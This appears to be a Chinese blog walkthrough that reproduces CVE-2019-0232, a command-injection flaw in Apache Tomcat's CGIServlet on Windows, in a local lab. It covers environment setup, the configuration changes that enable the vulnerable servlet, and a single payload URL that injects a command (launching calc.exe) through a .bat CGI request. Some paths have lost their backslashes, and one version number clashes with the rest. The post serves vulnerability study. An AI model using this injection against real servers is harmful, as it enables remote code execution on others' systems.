• CVE-2019-0232 远程代码执行漏洞-复现


    0x00 漏洞介绍

      该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。

      该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

    0x01 漏洞影响范围

      Apache Tomcat 9.0.0.M1 to 9.0.17        

      Apache Tomcat 8.5.0 to 8.5.39        

      Apache Tomcat 7.0.0 to 7.0.93

    0x02 环境

      VMware 虚拟机 windows 7      

      JDK 1.8.0_73      

      Apache tomcat 9.0.13

    0x03 复现步骤

    (一)首先安装JDK(这里我安装的是JDK 1.8.0_73)然后配置环境变量

        

        

      新建变量名为JAVA_HOME的变量变量值为你安装jdk的路径

      例:变量名:JAVA_HOME变量值:C:Program Files (x86)Javajdk1.8.0_73

      新建变量名为JRE_HOME的变量变量值为你安装jdk文件夹中jre文件夹的路径

      例:变量名JRE_HOME变量值: C:Program Files (x86)Javajdk1.8.0_73jre

      新建变量名为CLASSPATH的变量变量值为.;%JAVA_HOME%lib;%JAVA_HOME%lib ools.jar(ps:前面有个点)

      在变量path新增变量值为;%JAVA_HOME%in;%JAVA_HOME%jrein(ps:前面有;)  

      配好变量后打开cmd命令框输入java –version出现java版本号等信息则说明变量安装成功。

       如图:

          

    (二)安装tomcat

      这里我用的是 apache - tomcat - 19.0.3

      tomcat各个版本下载链接:https://archive.apache.org/dist/tomcat/

      安装完成之后,cmd 启动 tomcat

    打开浏览器访问正常,说明tomcat安装完毕。 

    (三)修改配置文件

      1.apache-tomcat-9.0.13confweb.xml  该文件    

       需要取消掉注释的一共是俩部分,并且将下图框中内容插入

      2.conf/context.xml  中的<Context>添加privileged="true"语句 如下图

      3.在C:UserslenovoDesktopapache-tomcat-9.0.13apache-tomcat-9.0.13webappsROOTWEB-INF    

       下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件可以什么都不写或者写一些bat语句。

         

         

      一切准备完成。

    (四)重启tomcat。

    (五)利用payload

      payload:http://localhost:8080/cgi-bin/hello.bat?&C:WindowsSystem32calc.exe

      该payload为打开计算器,访问之后成功打开计算器。

       

     

    (六)复现成功。

    Tank You !!

            

    博主公众号

     

    本文欢迎转载。 如转载请务必注明出处。 觉得写的不错的可以右侧打赏一手。 群在上边欢迎大家来撩。

     

  • 相关阅读:
    TC79
    SQL TUNNING
    Oracle PLSQL
    DB String Split sample
    dw websites
    Load xlsx in a folder to RDBMS table with Talend
    Reading WebSites
    SQOOP Load Data from Oracle to Hive Table
    dotnet use regex two samples
    Excel scientific notation issue
  • 原文地址:https://www.cnblogs.com/bflw/p/12347137.html
Copyright © 2020-2023  润新知